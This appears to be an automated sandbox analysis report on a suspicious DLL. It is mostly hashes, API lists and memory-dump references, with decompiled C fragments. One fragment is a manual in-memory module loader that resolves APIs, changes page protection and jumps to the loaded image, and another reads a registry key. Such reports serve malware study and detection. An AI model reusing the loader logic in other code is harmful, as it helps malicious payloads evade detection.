                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task$CommandLine$Directory$AllocCreateSystemVirtual
                  • String ID:
                  • API String ID: 3649612647-0
                  • Opcode ID: d3eb028fb8abd1a444f8207de70b549bbcb090d39a3c0f8c62cd3c112da07f96
                  • Instruction ID: 56ca535effde6457dce6f8676cb4109d4898b4116c055cd4097ac82553c14540
                  • Opcode Fuzzy Hash: d3eb028fb8abd1a444f8207de70b549bbcb090d39a3c0f8c62cd3c112da07f96
                  • Instruction Fuzzy Hash: 441116B5D04149AFCB04CF98D880BEEB7F9FB48710F108629E529A3790DB346900CBA4
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C52839 Relevance: 1.5, APIs: 1, Instructions: 49COMMON
                  Download Yara Rule
                  C-Code - Quality: 34%
                  			E02C52839(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				char _v20;
				intOrPtr _t15;
				void* _t17;
				intOrPtr _t19;
				void* _t23;

				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0x2c5a348; // 0xe7d5a8
				_t4 = _t15 + 0x2c5b3e8; // 0x3ad8990
				_t20 = _t4;
				_t6 = _t15 + 0x2c5b174; // 0x650047
				_t17 = E02C5790B(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					_t23 = 8;
					if(_v20 != _t23) {
						_t23 = 1;
					} else {
						_t19 = E02C5661C(_t20, _v12);
						if(_t19 != 0) {
							 *_a16 = _t19;
							_t23 = 0;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}










                  0x02c52843
                  0x02c5284a
                  0x02c5284b
                  0x02c5284c
                  0x02c5284d
                  0x02c52853
                  0x02c52858
                  0x02c52858
                  0x02c52862
                  0x02c52874
                  0x02c5287b
                  0x02c528a9
                  0x02c5287d
                  0x02c5287f
                  0x02c52884
                  0x02c528a6
                  0x02c52886
                  0x02c52889
                  0x02c52890
                  0x02c52895
                  0x02c52897
                  0x02c52897
                  0x02c5289c
                  0x02c5289c
                  0x02c52884
                  0x02c528b0

                  APIs
                    • Part of subcall function 02C5790B: SysFreeString.OLEAUT32(?), ref: 02C579EA
                    • Part of subcall function 02C5661C: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,02C54B72,004F0053,00000000,?), ref: 02C56625
                    • Part of subcall function 02C5661C: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,02C54B72,004F0053,00000000,?), ref: 02C5664F
                    • Part of subcall function 02C5661C: memset.NTDLL ref: 02C56663
                  • SysFreeString.OLEAUT32(00000000), ref: 02C5289C
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: FreeString$lstrlenmemcpymemset
                  • String ID:
                  • API String ID: 397948122-0
                  • Opcode ID: 4799fcbafe8f80aecf08b0e36178f3906b12bf1aa53d371f43dce29a4d8325fa
                  • Instruction ID: 05578bb2f8dc999c906c0393d25785a068813702635c2cee845b69a28f77a3a4
                  • Opcode Fuzzy Hash: 4799fcbafe8f80aecf08b0e36178f3906b12bf1aa53d371f43dce29a4d8325fa
                  • Instruction Fuzzy Hash: 4C019E32900229BFDB019BE5CC44AAABBB9EF44354B000525EE01A3060E771DA91C791
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB62007 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6CB60F6A,00000001,00000364,00000000,00000008,000000FF,?,?,6CB613CE,6CB6119A), ref: 6CB62048
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: AllocateHeap
                  • String ID:
                  • API String ID: 1279760036-0
                  • Opcode ID: c06e23a92a3ca9dff5b3d8cc6aaee3e42b2ef5c67208ef7b3bde2d7e2529c2b4
                  • Instruction ID: 83454eccfbc40637d87e1141806696aa9c2582fa55f1757150d6d192c0f973fe
                  • Opcode Fuzzy Hash: c06e23a92a3ca9dff5b3d8cc6aaee3e42b2ef5c67208ef7b3bde2d7e2529c2b4
                  • Instruction Fuzzy Hash: 2AF0B4316466A466FB165E67C80CB8F379CEB427A8B144012AD94A7D84CB20D816C6A3
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB5A7A3 Relevance: 1.5, APIs: 1, Instructions: 38COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • stdext::threads::lock_error::lock_error.LIBCPMTD ref: 6CB5AEAC
                    • Part of subcall function 6CB5B501: RaiseException.KERNEL32(E06D7363,00000001,00000003,6CB5AEBF,?,?,?,6CB5AEBF,?,6CB71D5C), ref: 6CB5B561
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: ExceptionRaisestdext::threads::lock_error::lock_error
                  • String ID:
                  • API String ID: 3447279179-0
                  • Opcode ID: 41313ee7ab6ba90401b24bd75cae0272d5270d8572f7d3609d72cb7eb02fded7
                  • Instruction ID: e7c3ea8a0ab2a43c5c75ec568b7bc6913881d822e330fe603230f6b17ef2d95e
                  • Opcode Fuzzy Hash: 41313ee7ab6ba90401b24bd75cae0272d5270d8572f7d3609d72cb7eb02fded7
                  • Instruction Fuzzy Hash: E2F0547880028DBACF04AEA4E9589ED777C9B10258FE04520A924A5DD4FB70DA7989F6
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB41A00 Relevance: 1.5, APIs: 1, Instructions: 36COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • Concurrency::cancel_current_task.LIBCPMTD ref: 6CB41A17
                    • Part of subcall function 6CB42E80: stdext::threads::lock_error::lock_error.LIBCPMTD ref: 6CB42E89
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: Concurrency::cancel_current_taskstdext::threads::lock_error::lock_error
                  • String ID:
                  • API String ID: 2103942186-0
                  • Opcode ID: 2c9e10b1be713a75c81bd9515c596e2b72a0d55a8356f11a93e81a336d7a6c16
                  • Instruction ID: 48255900bcae1862755f052e58f22ac6af2490e90ca37ca5e41f64d9bb84b3e1
                  • Opcode Fuzzy Hash: 2c9e10b1be713a75c81bd9515c596e2b72a0d55a8356f11a93e81a336d7a6c16
                  • Instruction Fuzzy Hash: E1F04F75D0918CABCB04DFA8D580B9DF7B1EF44308F14C1A9D82597748E330EA65EB86
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB61157 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • RtlAllocateHeap.NTDLL(00000000,00000000,?,?,6CB5A7BD,00000000,?,6CB42A0C,00000000,?,6CB419F5,00000000), ref: 6CB61189
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: AllocateHeap
                  • String ID:
                  • API String ID: 1279760036-0
                  • Opcode ID: 6b6f8b84d91f50a53e268afb42fa6af6ae8cdac1bd129026ba7e1ee2757b19ff
                  • Instruction ID: fa4745f88c33483c363646c6e5b1522d03423de34954c9dedf8b6998685b296f
                  • Opcode Fuzzy Hash: 6b6f8b84d91f50a53e268afb42fa6af6ae8cdac1bd129026ba7e1ee2757b19ff
                  • Instruction Fuzzy Hash: E1E065352C26A466FB511EA7CC0479B765CDF437A9F1D4121DD24E7D84DB20C80145A2
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB43320 Relevance: 1.5, APIs: 1, Instructions: 19COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: char_traits
                  • String ID:
                  • API String ID: 1158913984-0
                  • Opcode ID: df607ba6084a3b099a9f986f6368da2736dd86b0cca6f999f33de5f110dab238
                  • Instruction ID: 08385c4ec7b3125ad1701fdf19ab2904b493bc4c00254914b02a870a0ab27123
                  • Opcode Fuzzy Hash: df607ba6084a3b099a9f986f6368da2736dd86b0cca6f999f33de5f110dab238
                  • Instruction Fuzzy Hash: 4ED012F6D08108778A04DB94EC01C9F779D9B14258F048168B90D93700EA31AA1496A5
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB42860 Relevance: 1.5, APIs: 1, Instructions: 18COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task
                  • String ID:
                  • API String ID: 1384045349-0
                  • Opcode ID: 35f3350771244d0d2e6ba7fb243a90206059bcdfc6d154bd5a9e31001bc2f794
                  • Instruction ID: 151d1105fb2e8d1bbeabb0e0bf105538f7750f238bb4f70b1794c38bd06768bb
                  • Opcode Fuzzy Hash: 35f3350771244d0d2e6ba7fb243a90206059bcdfc6d154bd5a9e31001bc2f794
                  • Instruction Fuzzy Hash: 01D01272A1510CE7CB04CB84D94299DB7B4DB55300F504158E904A7740DA329F14F795
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02BF1E4A Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                  Download Yara Rule
                  C-Code - Quality: 37%
                  			E02BF1E4A(void* __eax, intOrPtr _a4) {

				 *0x2bf41d0 =  *0x2bf41d0 & 0x00000000;
				_push(0);
				_push(0x2bf41cc);
				_push(1);
				_push(_a4);
				 *0x2bf41c8 = 0xc; // executed
				L02BF215E(); // executed
				return __eax;
			}



                  0x02bf1e4a
                  0x02bf1e51
                  0x02bf1e53
                  0x02bf1e58
                  0x02bf1e5a
                  0x02bf1e5e
                  0x02bf1e68
                  0x02bf1e6d

                  APIs
                  • ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(02BF20D1,00000001,02BF41CC,00000000), ref: 02BF1E68
                  Memory Dump Source
                  • Source File: 00000000.00000002.777006909.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: true
                  • Associated: 00000000.00000002.777006909.0000000002BF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2bf0000_loaddll32.jbxd
                  Similarity
                  • API ID: DescriptorSecurity$ConvertString
                  • String ID:
                  • API String ID: 3907675253-0
                  • Opcode ID: 4f4321fb693cdba440ce0fb4701bc52b604f1222abfed3e4acd87d7f4bf106f9
                  • Instruction ID: c68193892e9d6d13a09d037759adf451070c04334509df69f1d36b72280ac0e3
                  • Opcode Fuzzy Hash: 4f4321fb693cdba440ce0fb4701bc52b604f1222abfed3e4acd87d7f4bf106f9
                  • Instruction Fuzzy Hash: B8C04CB4580301A6F790AF41DC46F477E717760B49F100A44F700351D083F712E88919
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C561DA Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E02C561DA(void* _a4) {
				char _t2;

				_t2 = RtlFreeHeap( *0x2c5a2d8, 0, _a4); // executed
				return _t2;
			}




                  0x02c561e6
                  0x02c561ec

                  APIs
                  • RtlFreeHeap.NTDLL(00000000,00000000,02C56383,00000000,?,00000000,00000000), ref: 02C561E6
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: FreeHeap
                  • String ID:
                  • API String ID: 3298025750-0
                  • Opcode ID: a6f57bfa660edb911482a2186184ca3bc7dc5d249f5edd3440d4e6216c26b774
                  • Instruction ID: 869a34c6d5b147109a47b7bccd18ebf113511677b06e2879331da465e86154e7
                  • Opcode Fuzzy Hash: a6f57bfa660edb911482a2186184ca3bc7dc5d249f5edd3440d4e6216c26b774
                  • Instruction Fuzzy Hash: 17B01271980310EBCB114B01DE05F057E31AB94700F104F10F30920070823284B1FB55
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02BF1CD6 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E02BF1CD6(void* _a4) {
				char _t2;

				_t2 = RtlFreeHeap( *0x2bf4190, 0, _a4); // executed
				return _t2;
			}




                  0x02bf1ce2
                  0x02bf1ce8

                  APIs
                  • RtlFreeHeap.NTDLL(00000000,00000030,02BF1C29,00000000,00000030,00000000,00000000,00000030,?,?,?,?,?,02BF129B), ref: 02BF1CE2
                  Memory Dump Source
                  • Source File: 00000000.00000002.777006909.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: true
                  • Associated: 00000000.00000002.777006909.0000000002BF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2bf0000_loaddll32.jbxd
                  Similarity
                  • API ID: FreeHeap
                  • String ID:
                  • API String ID: 3298025750-0
                  • Opcode ID: 274790013ea115ad185d89bbca6113e8f68a46840e53b45579896db387d6cdc4
                  • Instruction ID: eb34337a20796e67173d6d708ba5ffa0dc9acdf5b0b2bf3ac4356affcc83b276
                  • Opcode Fuzzy Hash: 274790013ea115ad185d89bbca6113e8f68a46840e53b45579896db387d6cdc4
                  • Instruction Fuzzy Hash: A3B01231C80100FBCA519B10ED04F067E73B760740F108811F304114608231C430FB14
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02BF2046 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E02BF2046(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x2bf4190, 0, _a4); // executed
				return _t2;
			}




                  0x02bf2052
                  0x02bf2058

                  APIs
                  • RtlAllocateHeap.NTDLL(00000000,?,02BF124D,00000030,74CB63F0,00000000), ref: 02BF2052
                  Memory Dump Source
                  • Source File: 00000000.00000002.777006909.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: true
                  • Associated: 00000000.00000002.777006909.0000000002BF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2bf0000_loaddll32.jbxd
                  Similarity
                  • API ID: AllocateHeap
                  • String ID:
                  • API String ID: 1279760036-0
                  • Opcode ID: c689a59d959481e8fffa6dcbe487ed86324b436957229c0372cab0831e0ba2ff
                  • Instruction ID: 3efed8ead92f509b61f19f5e5b04a54bcb286314125552d80a41485106b7f59e
                  • Opcode Fuzzy Hash: c689a59d959481e8fffa6dcbe487ed86324b436957229c0372cab0831e0ba2ff
                  • Instruction Fuzzy Hash: 32B01271D80100ABCA814B10EE04F06BF72B760740F004811F3081146083315430EB04
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02BF166A Relevance: 1.3, APIs: 1, Instructions: 70COMMON
                  Download Yara Rule
                  C-Code - Quality: 85%
                  			E02BF166A(void* __eax) {
				char _v8;
				void* _v12;
				void* __edi;
				void* _t18;
				long _t26;
				long _t29;
				intOrPtr _t40;
				void* _t41;
				void* _t42;
				void* _t44;

				_t41 = __eax;
				_t16 =  *0x2bf41c0;
				_t33 =  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x2bf41c0 - 0x43174ac4 &  !( *0x2bf41c0 - 0x43174ac4);
				_t18 = E02BF1142( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x2bf41c0 - 0x43174ac4 &  !( *0x2bf41c0 - 0x43174ac4),  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x2bf41c0 - 0x43174ac4 &  !( *0x2bf41c0 - 0x43174ac4), _t16 + 0xbce8a57d,  &_v8,  &_v12); // executed
				if(_t18 != 0) {
					_t29 = 8;
					goto L8;
				} else {
					_t40 = _v8;
					_t29 = E02BF1C51(_t33, _t40, _t41);
					if(_t29 == 0) {
						_t44 =  *((intOrPtr*)(_t40 + 0x3c)) + _t40;
						_t29 = E02BF1CEB(_t40, _t44);
						if(_t29 == 0) {
							_t26 = E02BF170E(_t44, _t40); // executed
							_t29 = _t26;
							if(_t29 == 0) {
								_push(_t26);
								_push(1);
								_push(_t40);
								if( *((intOrPtr*)( *((intOrPtr*)(_t44 + 0x28)) + _t40))() == 0) {
									_t29 = GetLastError();
								}
							}
						}
					}
					_t42 = _v12;
					 *((intOrPtr*)(_t42 + 0x18))( *((intOrPtr*)(_t42 + 0x1c))( *_t42));
					E02BF1CD6(_t42);
					L8:
					return _t29;
				}
			}













                  0x02bf1672
                  0x02bf1674
                  0x02bf1690
                  0x02bf16a1
                  0x02bf16a8
                  0x02bf1706
                  0x00000000
                  0x02bf16aa
                  0x02bf16aa
                  0x02bf16b4
                  0x02bf16b8
                  0x02bf16bd
                  0x02bf16c5
                  0x02bf16c9
                  0x02bf16ce
                  0x02bf16d3
                  0x02bf16d7
                  0x02bf16dc
                  0x02bf16dd
                  0x02bf16e1
                  0x02bf16e6
                  0x02bf16ee
                  0x02bf16ee
                  0x02bf16e6
                  0x02bf16d7
                  0x02bf16c9
                  0x02bf16f0
                  0x02bf16f9
                  0x02bf16fd
                  0x02bf1707
                  0x02bf170d
                  0x02bf170d

                  APIs
                    • Part of subcall function 02BF1142: GetModuleHandleA.KERNEL32(?,00000020), ref: 02BF1166
                    • Part of subcall function 02BF1142: GetProcAddress.KERNEL32(00000000,?), ref: 02BF1188
                    • Part of subcall function 02BF1142: GetProcAddress.KERNEL32(00000000,?), ref: 02BF119E
                    • Part of subcall function 02BF1142: GetProcAddress.KERNEL32(00000000,?), ref: 02BF11B4
                    • Part of subcall function 02BF1142: GetProcAddress.KERNEL32(00000000,?), ref: 02BF11CA
                    • Part of subcall function 02BF1142: GetProcAddress.KERNEL32(00000000,?), ref: 02BF11E0
                    • Part of subcall function 02BF1CEB: LoadLibraryA.KERNEL32(?,?,00000000,?,?), ref: 02BF1D23
                    • Part of subcall function 02BF170E: VirtualProtect.KERNELBASE(00000000,?,?,?,?,?,00000000), ref: 02BF1747
                    • Part of subcall function 02BF170E: VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 02BF17BC
                    • Part of subcall function 02BF170E: GetLastError.KERNEL32 ref: 02BF17C2
                  • GetLastError.KERNEL32 ref: 02BF16E8
                  Memory Dump Source
                  • Source File: 00000000.00000002.777006909.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: true
                  • Associated: 00000000.00000002.777006909.0000000002BF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2bf0000_loaddll32.jbxd
                  Similarity
                  • API ID: AddressProc$ErrorLastProtectVirtual$HandleLibraryLoadModule
                  • String ID:
                  • API String ID: 3135819546-0
                  • Opcode ID: 16d0392f666ef69e2a86a6e1a2cd4782f0dbbc57cafee52058cf021beead3567
                  • Instruction ID: c52ac8de04977433ab1f8516bcad856449e6dd6bdb57636a3bc37c76cb61f952
                  • Opcode Fuzzy Hash: 16d0392f666ef69e2a86a6e1a2cd4782f0dbbc57cafee52058cf021beead3567
                  • Instruction Fuzzy Hash: D8112E76610701FBC761DAAD8C84EAB77BDFF882047040999EB0AA7500EB61ED098B90
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C533F1 Relevance: 1.3, APIs: 1, Instructions: 43memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E02C533F1(intOrPtr* __edi, void* _a4, intOrPtr _a8, unsigned int _a12) {
				void* _t21;
				void* _t22;
				signed int _t24;
				intOrPtr* _t26;
				void* _t27;

				_t26 = __edi;
				if(_a4 == 0) {
					L2:
					_t27 = E02C558BD(_a4, 0x80000002, _a8, _a12,  &_a4,  &_a12);
					if(_t27 == 0) {
						_t24 = _a12 >> 1;
						if(_t24 == 0) {
							_t27 = 2;
							HeapFree( *0x2c5a2d8, 0, _a4);
						} else {
							_t21 = _a4;
							 *((short*)(_t21 + _t24 * 2 - 2)) = 0;
							 *_t26 = _t21;
						}
					}
					L6:
					return _t27;
				}
				_t22 = E02C52839(_a4, _a8, _a12, __edi); // executed
				_t27 = _t22;
				if(_t27 == 0) {
					goto L6;
				}
				goto L2;
			}








                  0x02c533f1
                  0x02c533f9
                  0x02c53410
                  0x02c5342b
                  0x02c5342f
                  0x02c53434
                  0x02c53436
                  0x02c53448
                  0x02c53454
                  0x02c53438
                  0x02c53438
                  0x02c5343d
                  0x02c53442
                  0x02c53442
                  0x02c53436
                  0x02c5345a
                  0x02c5345e
                  0x02c5345e
                  0x02c53405
                  0x02c5340a
                  0x02c5340e
                  0x00000000
                  0x00000000
                  0x00000000

                  APIs
                    • Part of subcall function 02C52839: SysFreeString.OLEAUT32(00000000), ref: 02C5289C
                  • HeapFree.KERNEL32(00000000,00000000,00000000,80000002,74D0F710,?,00000000,?,00000000,?,02C5528E,?,004F0053,03AD9218,00000000,?), ref: 02C53454
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: Free$HeapString
                  • String ID:
                  • API String ID: 3806048269-0
                  • Opcode ID: 08c995fa0df20c19eadff45861a56ad4f4ed6f545e0a0a6d299ea4f83adfa766
                  • Instruction ID: 075bef18de63aa25c4cc059936f50f7c76db21c3270ad9399fca8ac152498747
                  • Opcode Fuzzy Hash: 08c995fa0df20c19eadff45861a56ad4f4ed6f545e0a0a6d299ea4f83adfa766
                  • Instruction Fuzzy Hash: DC012C32900669BBCB229F54CC01FAA3FA5EF44790F048564FE199B121D731D9A0EB94
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C55063 Relevance: 1.3, APIs: 1, Instructions: 36stringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 75%
                  			E02C55063(void* __ecx, void* __edx, void* _a4, void* _a8) {
				void* _t13;
				void* _t21;

				_t11 =  &_a4;
				_t21 = 0;
				__imp__( &_a8);
				_t13 = E02C51508( &_a4 + 1, 1, _a8, _a4, _a4, _t11); // executed
				if(_t13 == 0) {
					_t21 = E02C533DC(_a8 + _a8);
					if(_t21 != 0) {
						E02C522EA(_a4, _t21, _t23);
					}
					E02C561DA(_a4);
				}
				return _t21;
			}





                  0x02c5506b
                  0x02c55072
                  0x02c55074
                  0x02c55083
                  0x02c5508a
                  0x02c55099
                  0x02c5509d
                  0x02c550a4
                  0x02c550a4
                  0x02c550ac
                  0x02c550b1
                  0x02c550b6

                  APIs
                  • lstrlen.KERNEL32(00000000,00000000,02C53ECE,00000000,?,02C566D9,00000000,02C53ECE,?,7491C740,02C53ECE,00000000,03AD9600), ref: 02C55074
